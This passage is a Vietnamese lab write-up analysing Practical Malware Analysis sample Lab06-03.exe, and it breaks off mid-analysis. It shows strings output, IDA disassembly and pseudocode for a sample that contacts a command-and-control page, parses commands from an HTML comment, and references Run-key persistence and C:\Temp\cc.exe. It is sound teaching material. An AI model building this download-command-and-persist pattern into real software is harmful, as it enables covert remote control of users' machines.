Notification texts go here Contact Us Buy Now!

[Write-up] Practical Malware Analysis | Part 2 - Chapter 6 - Lab 6-3

Practical Malware Analysis

CHAPTER 6 - RECOGNIZING CODE CONTRUCTSIN ASEMBLY

Write up Lab6-3

Lab 6-3
In this lab, we’ll analyze the malware found in the file Lab06-03.exe
Questions
1. Compare the calls in main to Lab 6-2’s main method. What is the new function called from main?
2. What parameters does this new function take?
3. What major code construct does this function contain?
4. What can this function do?
5. Are there any host-based indicators for this malware?
6. What is the purpose of this malware?

Hình 1- Lab06-03.exe

Table of Contents

1. Compare the calls in main to Lab 6-2’s main method. What is the new function called from main?

(So sánh các lệnh gọi trong hàm main với hàm main trong Lab6-2. Hàm mới được gọi từ main là gì?)

1.1 Phân tích tĩnh

Kiểm tra mã độc có bị đóng gói hay không với Exeinfo PE:

Hình 1.1 - Exeinfo PE
Tệp không bị đóng gói.

Xem thông tin strings với công cụ flare-floss:

Hình 1.2 - Strings lab06-03.exe

Nội dung:
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\REM\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_6L>floss.exe lab06-03.exe
INFO: floss: extracting static strings...
finding decoding function features: 100%|█| 113/113 [00:00<00:00, 1816.15 functions/s, skipped 103 library f
INFO: floss.stackstrings: extracting stackstrings from 7 functions
extracting stackstrings: 100%|████████████████████████████████████████| 7/7 [00:00<00:00, 89.75 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 1 functions...
extracting tightstrings from function 0x4031b0: 100%|█████████████████| 1/1 [00:00<00:00, 15.98 functions/s]
INFO: floss.string_decoder: decoding strings
INFO: floss.results: Error 2.3: Fail to get command
INFO: floss.results: Error 2.1: Fail to OpenUrl
INFO: floss.results: Error 2.2: Fail to ReadFile
INFO: floss.results: Error 1.1: No Internet
INFO: floss.results: Error 3.2: Not a valid command provided
INFO: floss.results: Error 1.1: No Internet
INFO: floss.results: Error 2.1: Fail to OpenUrl
emulating function 0x401040 (call 1/1): 100%|█████████████████████████| 8/8 [00:01<00:00,  6.10 functions/s]
INFO: floss: finished execution after 10.22 seconds


FLARE FLOSS RESULTS (version v2.3.0-0-g037fc4b)

+------------------------+----------------------------------------------------------------------------------+
| file path              | lab06-03.exe                                                                     |
| extracted strings      |                                                                                  |
|  static strings        | 213                                                                              |
|  stack strings         | 0                                                                                |
|  tight strings         | 0                                                                                |
|  decoded strings       | 7                                                                                |
+------------------------+----------------------------------------------------------------------------------+


 ──────────────────────
  FLOSS STATIC STRINGS
 ──────────────────────

+-----------------------------------+
| FLOSS STATIC STRINGS: ASCII (209) |
+-----------------------------------+

!This program cannot be run in DOS mode.
VRichA9
.text
`.rdata
@.data
hHp@
h0p@
hhp@
hpq@
hhq@
h<q@
X_[^
HHtpHHtl
t:      U
 Yt     f
Yu!j
=ht@
^h p@
YYh(p@
h$p@
t9UW
?=t"U
QQS3
PSSW
8"uD
8"uF@
8"u,
-``@
@@f9
@@f9
=X`@
SS@SSPVSS
t#SSUP
t$$VSS
_^][YY
DSUVWh
_^][
8MZu
Phha@
t>j,P
Yt0@
SVWUj
]_^[
t.;t$$t(
VC20XC00U
SVWU
tEVU
t3x<
]_^[
hpd@
hld@
hPd@
hLd@
h$d@
Yt4^
~&WP
SVW3
Vt6P
_WPS
u?Vj
Y;5L
90tr
Wj@Y3
t7SW

@AA;
<Xt
u,9E
^_[3
^[_3
uiSj
uY;]
pD#U
j #M
j?^;
SUVWu
_^][
QQSV
sN;E
u%C@
VWuBh
tzVS
GIt%
t/Ku
VWss
uFWWj
"WWSh
9} u
E WW
tMWWS
t@9}
VSh
SUVW
_^][
 (8PX
700WP
`h````
ppxxxx
(null)
__GLOBAL_HEAP_SELECTED
__MSVCRT_HEAP_SELECT
runtime error
TLOSS error
SING error
DOMAIN error
R6028
- unable to initialize heap
R6027
- not enough space for lowio initialization
R6026
- not enough space for stdio initialization
R6025
- pure virtual function call
R6024
- not enough space for _onexit/atexit table
R6019
- unable to open console device
R6018
- unexpected heap error
R6017
- unexpected multithread lock error
R6016
- not enough space for thread data
abnormal program termination
R6009
- not enough space for environment
R6008
- not enough space for arguments
R6002
- floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
Sleep
DeleteFileA
CopyFileA
CreateDirectoryA
KERNEL32.dll
InternetGetConnectedState
InternetReadFile
InternetCloseHandle
InternetOpenUrlA
InternetOpenA
WININET.dll
RegSetValueExA
RegOpenKeyExA
ADVAPI32.dll
GetCommandLineA
GetVersion
ExitProcess
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
GetModuleFileNameA
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
GetStartupInfoA
GetModuleHandleA
GetEnvironmentVariableA
GetVersionExA
HeapDestroy
HeapCreate
VirtualFree
HeapFree
RtlUnwind
WriteFile
HeapAlloc
GetCPInfo
GetACP
GetOEMCP
VirtualAlloc
HeapReAlloc
GetProcAddress
LoadLibraryA
GetLastError
FlushFileBuffers
SetFilePointer
MultiByteToWideChar
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
SetStdHandle
CloseHandle
Error 1.1: No Internet
Success: Internet Connection
Error 2.3: Fail to get command
Error 2.2: Fail to ReadFile
Error 2.1: Fail to OpenUrl
http://www.practicalmalwareanalysis.com/cc.htm
Internet Explorer 7.5/pma
Error 3.2: Not a valid command provided
Error 3.1: Could not set Registry value
Malware
Software\Microsoft\Windows\CurrentVersion\Run
C:\Temp\cc.exe
C:\Temp
Success: Parsed command is %c


+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (4) |
+------------------------------------+

jjjj
jjjj
(null)
         (((((                  H




 ─────────────────────
  FLOSS STACK STRINGS
 ─────────────────────



 ─────────────────────
  FLOSS TIGHT STRINGS
 ─────────────────────



 ───────────────────────
  FLOSS DECODED STRINGS
 ───────────────────────

Error 2.3: Fail to get command
Error 2.1: Fail to OpenUrl
Error 2.2: Fail to ReadFile
Error 1.1: No Internet
Error 3.2: Not a valid command provided
Error 1.1: No Internet
Error 2.1: Fail to OpenUrl


C:\Users\REM\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_6L>

Một số string đáng chú ý như Hình 1.2 dưới đây:

Hình 1.3 - Strings lab06-03.exe

Các thông báo lỗi này cho thấy chương trình có thể sửa đổi Windows Registry.
Software\Microsoft\Windows\CurrentVersion\Run
Windows Registry là vị trí phổ biến có thể tự động chạy khi bật hoặc khởi động lại máy tính.
C:\Temp\cc.exe
Đây là thư mục được hệ thống sử dụng để lưu trữ các thông tin tạm thời của hệ thống lẫn những ứng dụng đang được mở để hoạt động. Sau khi sử dụng xong thì các file này sẽ tự động xóa đi.

Xem thông tin các hàm nhập với PPEE:

Hình 1.4 - Kernel32.dll

Hình 1.5 - Wininet.dll

Hình 1.6 - Advapi32.dll

Nhớ lại đôi chút về các DLL phổ biến như đã tìm hiểu ở Phần I Kỹ thuật phân tích tĩnh.

Hình 1.7 - Part I - Basic Static techniques

So với Lab06-02.exe sự thay đổi nằm ở kernel32 (có thêm 3 hàm CreatedirectoryA, CopyFileA, DeleteFileA)và  advapi32.dll (có 2 hàm RegValueExA, RegOpenKeyExA).

Tìm hiểu trên MSDN về những hàm API này:
#Tạo một thư mục mới. Nếu hệ thống tệp cơ bản hỗ trợ bảo mật trên các tệp và thư mục, hàm sẽ áp dụng bộ mô tả bảo mật được chỉ định cho thư mục mới.
BOOL CreateDirectoryA(
  [in]           LPCSTR                lpPathName,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

#Sao chép một tập tin hiện có sang một tập tin mới.
BOOL CopyFileA(
  [in] LPCSTR lpExistingFileName,
  [in] LPCSTR lpNewFileName,
  [in] BOOL   bFailIfExists
);

#Xóa một tập tin hiện có.
BOOL DeleteFileA(
  [in] LPCSTR lpFileName
);

#Đặt dữ liệu và loại giá trị được chỉ định trong khóa đăng ký.
LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

#Mở khóa đăng ký được chỉ định. Lưu ý rằng tên khóa không phân biệt chữ hoa chữ thường.
LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey,
  [in]           DWORD  ulOptions,
  [in]           REGSAM samDesired,
  [out]          PHKEY  phkResult
);

1.2 Phân tích động

Tương tự như ở Lab06-02.exe mã độc sẽ phân giải tên miền http://www.practicalmalwareanalysis.com

Hình 1.8 - Phân tích động với wireshark

Sử dụng công cụ SysAnalyzer để phân tích động.


Kết quả phân tích HTTP xác định được tác nhân người dùng như dưới đây.
GET / HTTP/1.1
User-Agent: Internet Explorer 8.0
Host: www.malwareanalysisbook.com
Cache-Control: no-cache
Qua phân tích tĩnh cơ bản và động cơ bản, tôi biết được một số thông tin ban đầu của malware như: không bị đóng gói, kết nối đến Internet, có khả năng tự chạy trong Windows Registry khi khởi động máy.

Để tìm ra hàm mới được thêm vào ở lab này tôi sử dụng IDA để dịch ngược nó.

Hình 1.8 -IDA for Lab06-03.exe

So sánh với Lab06-02.exe để thấy sự khác nhau.

Hình 1.9 -IDA for Lab06-02.exe

Đây vẫn là một cấu trúc if:

Hình 1.10 - Chế độ graph sub_401000

Nhấn "G' để chuyển sang chế độ text.

Hình 1.11 - Chế độ text sub_401000

Sử dụng Pseudocode (hotkey F5 or Fn+F5) để mô phỏng mã C cho đoạn hợp ngữ này.
Có thể nhấn TAB để chuyển đổi giữa chế độ xem IDA disassembly và chế độ xem Pseudocode view.



Giải thích các câu lệnh Assembly của đoạn mã trên:
.text:00401000 ; Định nghĩa hàm
.text:00401000 sub_401000      proc near               ; Được gọi từ _main+6

.text:00401000 var_4           = dword ptr -4          ; Định nghĩa biến cục bộ tại ebp-4

.text:00401000                 push    ebp             ; Lưu ebp hiện tại
.text:00401001                 mov     ebp, esp        ; Đặt ebp là đỉnh của stack
.text:00401003                 push    ecx             ; Lưu ecx (sẽ được sử dụng như là space cho biến cục bộ)

.text:00401004                 push    0               ; dwReserved = 0
.text:00401006                 push    0               ; lpdwFlags = 0
.text:00401008                 call    ds:InternetGetConnectedState ; Gọi hàm kiểm tra kết nối internet

.text:0040100E                 mov     [ebp+var_4], eax ; Lưu kết quả vào biến cục bộ

.text:00401011                 cmp     [ebp+var_4], 0  ; So sánh kết quả với 0
.text:00401015                 jz      short loc_40102B ; Nếu bằng 0, nhảy đến loc_40102B (không có internet)

.text:00401017                 push    offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C                 call    sub_401271      ; Gọi hàm in thông báo thành công
.text:00401021                 add     esp, 4          ; Dọn dẹp stack

.text:00401024                 mov     eax, 1          ; Đặt eax = 1 (trạng thái thành công)
.text:00401029                 jmp     short loc_40103A ; Nhảy đến kết thúc hàm

.text:0040102B ; Nếu không có kết nối internet
.text:0040102B loc_40102B:                             
.text:0040102B                 push    offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030                 call    sub_401271      ; Gọi hàm in thông báo lỗi
.text:00401035                 add     esp, 4          ; Dọn dẹp stack

.text:00401038                 xor     eax, eax        ; Đặt eax = 0 (trạng thái lỗi)

.text:0040103A ; Kết thúc hàm
.text:0040103A loc_40103A:                             
.text:0040103A                 mov     esp, ebp        ; Khôi phục esp
.text:0040103C                 pop     ebp             ; Khôi phục ebp
.text:0040103D                 retn                    ; Trở về từ hàm
.text:0040103D sub_401000      endp                    ; Kết thúc định nghĩa hàm

Giải thích đoạn mã C:

Lưu ý rằng, trong C, chúng ta không cần quản lý stack và các thanh ghi như trong hợp ngữ, và chúng ta sẽ sử dụng các hàm có sẵn trong API của Windows để thực hiện các chức năng tương tự:

int sub_401000()
{
  BOOL ConnectedState; // [esp+0h] [ebp-4h]

  ConnectedState = InternetGetConnectedState(0, 0);
  if ( ConnectedState )
  {
    sub_401271(aSuccessInterne, ConnectedState);
    return 1;
  }
  else
  {
    sub_401271(aError11NoInter, 0);
    return 0;
  }
}

Tất nhiên! Hãy cùng tôi phân tích từng dòng lệnh trong đoạn mã C này:

  1. Khai báo biến và gán giá trị:

    • BOOL ConnectedState; là khai báo biến kiểu BOOL (Boolean) có tên là ConnectedState. Biến này được sử dụng để lưu trạng thái kết nối internet.
    • ConnectedState = InternetGetConnectedState(0, 0); là dòng lệnh gọi hàm InternetGetConnectedState để kiểm tra trạng thái kết nối internet. Hàm này trả về giá trị khác 0 nếu có kết nối, và 0 nếu không có kết nối. Kết quả trả về được gán cho biến ConnectedState.
  2. Kiểm tra kết nối internet:

    • if (ConnectedState) là câu lệnh kiểm tra xem ConnectedState có khác 0 hay không. Nếu có kết nối internet (giá trị khác 0), chương trình sẽ thực hiện các dòng lệnh trong khối { ... }.
    • Trong khối này:
      • sub_401271(aSuccessInterne, ConnectedState); là dòng lệnh gọi hàm sub_401271 để in ra thông báo “Success: Internet Connection”. Tham số aSuccessInterne là chuỗi ký tự tương ứng với thông báo này.
      • return 1; là dòng lệnh trả về giá trị 1, kết thúc hàm.
    • Ngược lại, nếu không có kết nối internet, chương trình sẽ thực hiện các dòng lệnh trong khối else { ... }.
    • Trong khối này:
      • sub_401271(aError11NoInter, 0); là dòng lệnh gọi hàm sub_401271 để in ra thông báo “Error 1.1: No Internet”. Tham số aError11NoInter là chuỗi ký tự tương ứng với thông báo này.
      • return 0; là dòng lệnh trả về giá trị 0, kết thúc hàm.
  3. Kết thúc hàm:

    • Cuối cùng, hàm trả về giá trị 1 hoặc 0 tùy thuộc vào trạng thái kết nối internet.

Quan sát hai hình trên và kiểm tra các lệnh gọi trong Lab06-02.exe và Lab06-03.exe cho thấy một số điểm tương đồng, tuy nhiên, có một chương trình con tồn tại trong Lab06-03 (khoanh đỏ), đây là chương trình con mới và được gọi là sub_401130.
sub_401000(); // Kiểm tra kết nối Internet;
sub_401040(); // Tải xuống trang web và phân tích các nhận xét HTML;
sub_401271(); // printf;
sub_401130; // hàm mới;

Trả lời:

Hàm sub_401130 là hàm mới ở lab này.
Hàm sub_401000 và sub_401040 giống như trong Lab06-02.exe, còn tại địa chỉ sub_401271 là hàm printf.

2. What parameters does this new function take?

(Các tham số của hàm mới này là gì?)

2.1. Phân tích hàm sub_401130

Hình 2.1 - Chế độ text sub_401130
; Định nghĩa các biến cục bộ và tham số
var_8           = dword ptr -8            ; Biến cục bộ tại ebp-8
phkResult       = dword ptr -4            ; Biến cục bộ tại ebp-4 (không được sử dụng trong đoạn mã này)
arg_0           = byte ptr  8             ; Tham số đầu tiên (ký tự), tại ebp+8
lpExistingFileName= dword ptr  0Ch        ; Tham số thứ hai (chuỗi LPCSTR), tại ebp+12

; Bắt đầu hàm
push    ebp                              ; Lưu giá trị ebp hiện tại vào stack
mov     ebp, esp                         ; Đặt ebp bằng esp để thiết lập khung stack mới
sub     esp, 8                           ; Cấp phát 8 byte trên stack cho các biến cục bộ

; Chuyển đổi tham số đầu tiên từ ký tự sang số nguyên có dấu và lưu vào var_8
movsx   eax, [ebp+arg_0]                 ; Mở rộng ký tự thành số nguyên có dấu và lưu vào eax
mov     [ebp+var_8], eax                 ; Lưu giá trị từ eax vào biến cục bộ var_8

; Tính toán và so sánh để xác định nhảy đến case nào trong switch-case
mov     ecx, [ebp+var_8]                 ; Lấy giá trị từ var_8 và lưu vào ecx
sub     ecx, 61h                         ; Trừ đi giá trị của 'a' (hex 61) từ ecx
mov     [ebp+var_8], ecx                 ; Cập nhật giá trị của var_8
cmp     [ebp+var_8], 4                   ; So sánh giá trị của var_8 với 4
ja      def_401153                       ; Nếu giá trị lớn hơn 4, nhảy đến nhãn def_401153

; Chuẩn bị cho việc nhảy đến case cụ thể trong switch-case
mov     edx, [ebp+var_8]                 ; Lấy giá trị từ var_8 và lưu vào edx
jmp     ds:jpt_401153[edx*4]             ; Nhảy đến địa chỉ được tính toán trong bảng nhảy jpt_401153
Như ở Câu hỏi số 5 của Lab05 ta biết là các tham số sẽ được IDA gắn nhãn và tham chiếu với giá trị dương

Hàm sub_401130 với hai tham số: một ký tự và một chuỗi LPCSTR. Hàm này sử dụng một khung dựa trên thanh ghi ebp để quản lý các biến cục bộ và tham số.

Cấu trúc này cho thấy hàm có một cấu trúc switch-case với 5 trường hợp (0 đến 4), và một trường hợp mặc định nếu giá trị sau khi trừ đi ‘a’ lớn hơn 4.

2.2 Phân tích quá trình gọi hàm sub_401130

Bắt đầu từ hàm chính main để xác định các hàm gọi đến hàm sub_401130.

Hình 2.1 - Chế độ graph của hàm main

Nhấn 'G' chuyển sang chế độ text:

Hình 2.2 - Chế độ text của hàm main

Nhấn 'F5 để xem mã giả của đoạn này.


Giải thích các câu lệnh Assembly của đoạn mã trên:
.text:00401210 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401210 _main           proc near               ; Định nghĩa hàm main
.text:00401210
.text:00401210 var_8           = byte ptr -8           ; Biến cục bộ, 1 byte
.text:00401210 var_4           = dword ptr -4          ; Biến cục bộ, 4 bytes
.text:00401210 argc            = dword ptr  8          ; Số lượng đối số
.text:00401210 argv            = dword ptr  0Ch        ; Mảng các chuỗi đối số
.text:00401210 envp            = dword ptr  10h        ; Môi trường biến
.text:00401210
.text:00401210                 push    ebp             ; Lưu base pointer cũ
.text:00401211                 mov     ebp, esp        ; Đặt base pointer mới
.text:00401213                 sub     esp, 8          ; Cấp phát không gian cho biến cục bộ
.text:00401216                 call    sub_401000      ; Gọi hàm sub_401000
.text:0040121B                 mov     [ebp+var_4], eax; Lưu kết quả trả về của hàm vào var_4
.text:0040121E                 cmp     [ebp+var_4], 0  ; So sánh var_4 với 0
.text:00401222                 jnz     short loc_401228; Nếu không bằng 0, nhảy đến loc_401228
.text:00401224                 xor     eax, eax        ; Đặt eax = 0
.text:00401226                 jmp     short loc_40126D; Nhảy đến kết thúc hàm
.text:00401228 ; ---------------------------------------------------------------------------
.text:00401228 loc_401228:                             ; Nhãn loc_401228
.text:00401228                 call    sub_401040      ; Gọi hàm sub_401040
.text:0040122D                 mov     [ebp+var_8], al ; Lưu kết quả trả về của hàm vào var_8
.text:00401230                 movsx   eax, [ebp+var_8]; Mở rộng ký tự thành số nguyên
.text:00401234                 test    eax, eax        ; Kiểm tra eax
.text:00401236                 jnz     short loc_40123C; Nếu eax không bằng 0, nhảy đến loc_40123C
.text:00401238                 xor     eax, eax        ; Đặt eax = 0
.text:0040123A                 jmp     short loc_40126D; Nhảy đến kết thúc hàm
.text:0040123C ; ---------------------------------------------------------------------------
.text:0040123C loc_40123C:                             ; Nhãn loc_40123C
.text:0040123C                 movsx   ecx, [ebp+var_8]; Mở rộng ký tự thành số nguyên
.text:00401240                 push    ecx             ; Đẩy kết quả vào stack
.text:00401241                 push    offset aSuccessParsedC ; Đẩy chuỗi "Success: Parsed command is %c\n" vào stack
.text:00401246                 call    sub_401271      ; Gọi hàm sub_401271 (có thể là printf)
.text:0040124B                 add     esp, 8          ; Dọn dẹp stack
.text:0040124E                 mov     edx, [ebp+argv] ; Lấy địa chỉ của argv
.text:00401251                 mov     eax, [edx]      ; Lấy địa chỉ của chuỗi đầu tiên trong argv
.text:00401253                 push    eax             ; Đẩy địa chỉ chuỗi vào stack
.text:00401254                 mov     cl, [ebp+var_8] ; Lấy kết quả từ var_8
.text:00401257                 push    ecx             ; Đẩy kết quả vào stack
.text:00401258                 call    sub_401130      ; Gọi hàm sub_401130
.text:0040125D                 add     esp, 8          ; Dọn dẹp stack
.text:00401260                 push    0EA60h          ; Đẩy giá trị 0EA60h (60000 ms) vào stack
.text:00401265                 call    ds:Sleep        ; Gọi hàm Sleep của Windows API
.text:0040126B                 xor     eax, eax        ; Đặt eax = 0
.text:0040126D loc_40126D:                             ; Nhãn kết thúc hàm
.text:0040126D                 mov     esp, ebp        ; Khôi phục stack pointer
.text:0040126F                 pop     ebp             ; Khôi phục base pointer
.text:00401270                 retn                    ; Trở về từ hàm
.text:00401270 _main           endp                    ; Kết thúc định nghĩa hàm

Đoạn mã này là một hàm main được viết bằng hợp ngữ, sử dụng cách gọi hàm __cdecl. Hàm này khởi tạo một stack frame, gọi các hàm con, và kiểm tra giá trị trả về của chúng. Nếu hàm sub_401000 trả về một giá trị khác không, hàm sub_401040 sẽ được gọi. Kết quả của sub_401040 được kiểm tra và nếu không bằng không, một thông báo sẽ được in ra và một hàm khác (sub_401130) sẽ được gọi với đối số là chuỗi đầu tiên từ argv và ký tự trả về từ sub_401040. Cuối cùng, hàm Sleep của Windows API được gọi để tạm dừng chương trình trong 60 giây trước khi kết thúc hàm.


Giải thích đoạn mã C:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-8h]

  if ( !sub_401000() )
    return 0;
  v4 = sub_401040();
  if ( v4 )
  {
    sub_401271("Success: Parsed command is %c\n", v4);
    sub_401130(v4, *argv);
    Sleep(0xEA60u);
  }
  return 0;
}

Dưới đây là phân tích từng dòng của đoạn mã C:

  1. Dòng khai báo hàm main:

    • int __cdecl main(int argc, const char **argv, const char **envp)
    • Đây là hàm main của chương trình. Nó nhận ba tham số:
      • argc: Số lượng tham số dòng lệnh (command line arguments).
      • argv: Mảng con trỏ chứa các chuỗi tham số dòng lệnh.
      • envp: Mảng con trỏ chứa các biến môi trường (environment variables).
  2. Dòng khai báo biến v4:

    • char v4; // [esp+0h] [ebp-8h]
    • Biến v4 là một ký tự.
  3. Dòng kiểm tra hàm sub_401000():

    • Nếu hàm sub_401000() trả về giá trị false (0), chương trình kết thúc và trả về 0.
  4. Dòng gán giá trị cho biến v4:

    • v4 = sub_401040();
    • Gọi hàm sub_401040() và gán giá trị trả về cho biến v4.
  5. Dòng kiểm tra giá trị của v4:

    • Nếu v4 khác 0 (tức là true), thực hiện các bước sau:
      • Gọi hàm sub_401271() với định dạng chuỗi “Success: Parsed command is %c\n” và giá trị của v4.
      • Gọi hàm sub_401130() với tham số là v4 và giá trị đầu tiên của argv.
      • Chờ 60 giây (Sleep(0xEA60u)).
    • Cuối cùng, chương trình trả về 0.

Trong hình trên hãy quan sát những vị trí đã đóng khung:
  • argv là tham số của hàm main, chính là tên file của chương trình đang chạy 'Lab06-03.exe' (0Ch là giá trị 12 trong hệ thập phân đúng bằng độ dài trong chuỗi Lab06-03.exe).
  • var_8 được xác định bởi hàm sub_401040.

2.3. Phân tích hàm sub_401040

Click double hàm sub_401040, IDA sẽ chuyển đến phân tích chi tiết hàm này.
(Click vào ảnh để xem full)

Hình 2.3 - Phân tích hàm sub_401040

Nhánh 1

Thiết lập một khung dựa trên base pointer (bp) và thực hiện một số thao tác liên quan đến mạng, cụ thể là mở một kết nối Internet và tải xuống một tệp. Dưới đây là phân tích chi tiết của từng dòng lệnh:
; Attributes: bp-based frame

sub_401040 proc near ; Định nghĩa một hàm với địa chỉ bắt đầu là 401040

; Khai báo các biến cục bộ và tham số
Buffer= byte ptr -210h
var_20F= byte ptr -20Fh
var_20E= byte ptr -20Eh
var_20D= byte ptr -20Dh
var_20C= byte ptr -20Ch
hFile= dword ptr -10h
hInternet= dword ptr -0Ch
dwNumberOfBytesRead= dword ptr -8
var_4= dword ptr -4

push    ebp             ; Lưu giá trị của ebp hiện tại
mov     ebp, esp        ; Đặt ebp bằng esp để thiết lập stack frame
sub     esp, 210h       ; Cấp phát 0x210 bytes cho stack frame

; Gọi hàm InternetOpenA với các tham số được đẩy vào stack
push    0               ; dwFlags
push    0               ; lpszProxyBypass
push    0               ; lpszProxy
push    0               ; dwAccessType
push    offset szAgent  ; "Internet Explorer 7.5/pma"
call    ds:InternetOpenA

mov     [ebp+hInternet], eax ; Lưu handle trả về từ InternetOpenA

; Gọi hàm InternetOpenUrlA với các tham số được đẩy vào stack
push    0               ; dwContext
push    0               ; dwFlags
push    0               ; dwHeadersLength
push    0               ; lpszHeaders
push    offset szUrl    ; "http://www.practicalmalwareanalysis.com"...
mov     eax, [ebp+hInternet]
push    eax             ; hInternet
call    ds:InternetOpenUrlA

mov     [ebp+hFile], eax ; Lưu handle trả về từ InternetOpenUrlA

cmp     [ebp+hFile], 0  ; So sánh handle của tệp với 0
jnz     short loc_40109D ; Nếu handle không phải là 0, nhảy đến loc_40109D

Ở đây, sub esp, 210h tạo ra không gian trên stack cho các biến cục bộ. InternetOpenAInternetOpenUrlA là các hàm của Windows API được sử dụng để mở một session Internet và tải xuống một tệp từ URL chỉ định. hInternethFile là các handle được sử dụng để quản lý các kết nối và tệp đã mở.

Nếu hFile bằng 0, điều này có nghĩa là việc mở tệp không thành công và chương trình sẽ nhảy đến nhãn loc_40109D. Nếu không, chương trình sẽ tiếp tục thực hiện các lệnh tiếp theo (không được hiển thị ở đây).

Tóm lại đoạn này là malware đang cố gắng tải xuống một tệp từ Internet, có thể là một phần của quá trình lây nhiễm hoặc cập nhật malware.

Nhánh 2

loc_40109D:                             ; Địa chỉ bắt đầu của đoạn mã
lea     edx, [ebp+dwNumberOfBytesRead]  ; Load effective address của biến dwNumberOfBytesRead vào thanh ghi edx
push    edx                             ; Đẩy giá trị trong edx (địa chỉ của dwNumberOfBytesRead) vào stack
push    200h                            ; Đẩy hằng số 200h (512 in decimal) vào stack, là số byte cần đọc
lea     eax, [ebp+Buffer]              ; Load effective address của buffer vào thanh ghi eax
push    eax                             ; Đẩy giá trị trong eax (địa chỉ của Buffer) vào stack
mov     ecx, [ebp+hFile]                ; Di chuyển giá trị của hFile vào thanh ghi ecx
push    ecx                             ; Đẩy giá trị trong ecx (handle của file) vào stack
call    ds:InternetReadFile             ; Gọi hàm InternetReadFile từ Import Address Table (IAT)
mov     [ebp+var_4], eax                ; Lưu giá trị trả về của hàm (thành công hay không) vào var_4
cmp     [ebp+var_4], 0                  ; So sánh giá trị của var_4 với 0
jnz     short loc_4010E5                ; Nếu var_4 không bằng 0, nhảy đến địa chỉ loc_4010E5
Đoạn mã này thực hiện các bước để đọc dữ liệu từ Internet sử dụng hàm InternetReadFile. Nó chuẩn bị các tham số cần thiết, gọi hàm, và sau đó kiểm tra kết quả của lời gọi hàm. Nếu hàm trả về giá trị khác 0, tức là việc đọc file thành công, nó sẽ nhảy đến địa chỉ khác để tiếp tục xử lý. Đây là một phần của quá trình xử lý file trong một chương trình Windows.

Nhánh 3

loc_4010E5:
movsx   ecx, [ebp+Buffer]
cmp     ecx, 3Ch ; '<'
jnz     short loc_40111D
  1. loc_4010E5: - Đây là một nhãn (label) cho địa chỉ bắt đầu của một đoạn mã.
  2. movsx ecx, [ebp+Buffer] - Lệnh này mở rộng ký tự có dấu từ bộ đệm (Buffer) và lưu vào thanh ghi ecx. movsx là viết tắt của “move with sign-extend,” nghĩa là nó sẽ chuyển giá trị từ bộ đệm và mở rộng dấu của nó (nếu là số âm) khi lưu vào ecx.
  3. cmp ecx, 3Ch - Lệnh này so sánh giá trị trong thanh ghi ecx với giá trị 3Ch (tương đương với ký tự ‘<’ trong bảng mã ASCII).
  4. jnz short loc_40111D - Lệnh nhảy jnz (jump if not zero) sẽ nhảy đến nhãn loc_40111D nếu kết quả của phép so sánh trước đó không phải là zero (nghĩa là ecx không bằng 3Ch).

Nói một cách đơn giản, đoạn mã này kiểm tra xem ký tự đầu tiên trong bộ đệm có phải là ký tự ‘<’ hay không. Nếu không phải, nó sẽ nhảy đến một phần khác của chương trình tại loc_40111D.

Nhánh 4

movsx   edx, [ebp+var_20F]
cmp     edx, 21h ; '!'
jnz     short loc_40111D

Thực hiện các bước sau:

  1. movsx edx, [ebp+var_20F]: Lệnh này mở rộng giá trị ký hiệu từ một biến (ở đây là var_20F với địa chỉ cơ sở là ebp) vào thanh ghi edx. Nếu biến là số âm, movsx sẽ điền các bit cao của edx với 1 (để bảo toàn dấu của số âm), và nếu là số dương, nó sẽ điền các bit cao với 0.

  2. cmp edx, 21h: Lệnh này so sánh giá trị trong thanh ghi edx với hằng số 21h (tương đương với ký tự ! trong bảng mã ASCII).

  3. jnz short loc_40111D: Lệnh nhảy jnz (Jump if Not Zero) sẽ nhảy đến nhãn loc_40111D nếu kết quả của phép so sánh trước đó không bằng 0 (nghĩa là edx không bằng 21h).

Nói một cách đơn giản, đoạn mã kiểm tra xem biến tại địa chỉ [ebp+var_20F] có phải là ký tự ! hay không. Nếu không phải, chương trình sẽ nhảy đến một địa chỉ khác để thực hiện các lệnh tiếp theo.

Nhánh 5

movsx   eax, [ebp+var_20E]
cmp     eax, 2Dh ; '-'
jnz     short loc_40111D
  1. movsx eax, [ebp+var_20E]: Lệnh này sẽ mở rộng giá trị ký hiệu từ biến var_20E (được lưu trữ tại địa chỉ bộ nhớ cụ thể nào đó dựa trên ebp) vào thanh ghi eax. Nếu giá trị là số âm, movsx sẽ điền các bit cao của eax với giá trị 1 để giữ nguyên dấu âm, còn nếu là số dương, nó sẽ điền các bit cao với giá trị 0.

  2. cmp eax, 2Dh: Lệnh này so sánh giá trị trong eax với 2Dh (tương đương với ký tự - trong bảng mã ASCII).

  3. jnz short loc_40111D: Lệnh jnz (Jump if Not Zero) sẽ nhảy đến nhãn loc_40111D nếu kết quả của phép so sánh cmp không bằng 0, tức là giá trị trong eax không phải là 2Dh.

Tóm lại, đoạn mã này kiểm tra xem biến tại địa chỉ [ebp+var_20E] có phải là ký tự - hay không. Nếu không phải, chương trình sẽ nhảy đến địa chỉ loc_40111D để thực hiện các lệnh khác.

Nhánh 6

movsx   ecx, [ebp+var_20D]
cmp     ecx, 2Dh ; '-'
jnz     short loc_40111D
